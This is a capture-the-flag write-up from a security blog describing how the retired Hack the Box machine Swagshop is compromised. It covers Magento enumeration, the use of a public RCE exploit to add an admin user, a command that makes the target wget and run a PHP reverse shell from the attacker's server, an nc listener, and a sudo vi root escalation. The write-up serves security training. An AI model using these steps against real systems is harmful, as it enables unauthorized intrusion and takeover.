Capture the flag (CTF)

Hack the Box (HTB) machines walkthrough series — Swagshop

Security Ninja
December 9, 2019 by
Security Ninja

Today we will be continuing with our exploration of Hack the Box (HTB) machines, as seen in previous articles. This walkthrough is of an HTB machine named Swagshop.

HTB is an excellent platform that hosts machines belonging to multiple OSes. It also has some other challenges as well. Individuals have to solve the puzzle (simple enumeration plus pentest) in order to log into the platform and download the VPN pack to connect to the machines hosted on the HTB platform.

Enjoy CTFs? Take our challenge!

Enjoy CTFs? Take our challenge!

Test your hands-on skills, earn bragging rights and win your share of $1,000+ in prizes. Do you accept the challenge?

Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Swagshop, is retired.

The walkthrough

Let’s start with this machine.

1. Download the VPN pack for the individual user and use the guidelines to log into the HTB VPN.

2. The Swagshop machine IP is

3. We will adopt the same methodology of performing penetration testing as we’ve used previously. Let’s start with enumeration in order to acquire as much information for the machine as possible.

4. As usual, let’s start with the Nmap scan to learn more about the services running on this machine. [CLICK IMAGES TO ENLARGE]
<<nmap -sC -sV -oA Swagshop>>

5. It looks like port 80 and 22 are opened on this. Let’s start enumerating with port 80.

6. On port 80, it looks like Magento is running.

7. Looking into the source code and footer, we see that it was copyrighted in 2014.

8. The above is not a substantial lead but is noteworthy, so let’s mark it. Looking into the Magento git, it looks like there’s a file called RELEASE_NOTES.txt. Replicating the same shows the Magento version to be

9. We run Gobuster to enumerate directories as well.
<<gobuster -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt>>

10. One important directory was /app, which shows the version as well.

11. Now let’s search for an exploit for that version.

12. We found a few exploits. With one, we will perform RCE and create a user from the exploit (37977). We modify the exploit to create user:lhm with a password.

13. In the exploit, the admin login page was also mentioned. Browsing to that page and supplying the credentials lhm:lhm worked.

14. Below is the landing page after our successful login.

15. We can also see the version here as well.

16. We pick up another exploit to gain our first remote shell. Since we now have created a user, we can use the authenticated remote RCE exploit.

17. Below is the replacement of the user and password with the one created above.

18. Testing the exploit with printing /etc/passwd from the remote machine worked.
<<python “cat /etc/passwd”>>

19. Now let’s host a PHP shell from a Python web server on the attacking machine.

<<python -m SimpleHTTPServer 80>>

<<python “wget -O /tmp/shell.php http://<attacking machine ip>/shell.php;php /tmp/shell.php”>>

20. The above command results in an error, since I have deposited the file in /tmp but executed in /.

21. Not to worry, since the file is already uploaded on the victim machine. We just need to execute the file.

22. After executing the above command, we got the shell below.
<<nc -nlvp 4321>>

23. We enumerate to find the user.txt.


<<cat user.txt>>

24. Let’s start with escalating user permissions.

25. The first thing to check is what this user can do with sudo. It looks like a lot!
<<sudo -l>>

26. So we can run the vi command as sudo on any file under /var/www/html/.

27. We create such a file and do a classic vi escalation.

<<sudo vi /var/www/html/>>


28. As soon as we hit enter, we get the root prompt.

29. Enumerating to grab the root.txt file as well.

<<cd /root>>

<<cat root.txt>>

So this was a straightforward box. The first shell was based on enumeration, and escalation was done with a classic technique.

Enjoy CTFs? Take our challenge!

Enjoy CTFs? Take our challenge!

Test your hands-on skills, earn bragging rights and win your share of $1,000+ in prizes. Do you accept the challenge?

We will continue this series with similarly interesting HTB machines.

Security Ninja
Security Ninja

THE PLANETS EARTH: CTF walkthrough, part 1

EMPIRE BREAKOUT: VulnHub CTF walkthrough

JANGOW: 1.0.1: CTF walkthrough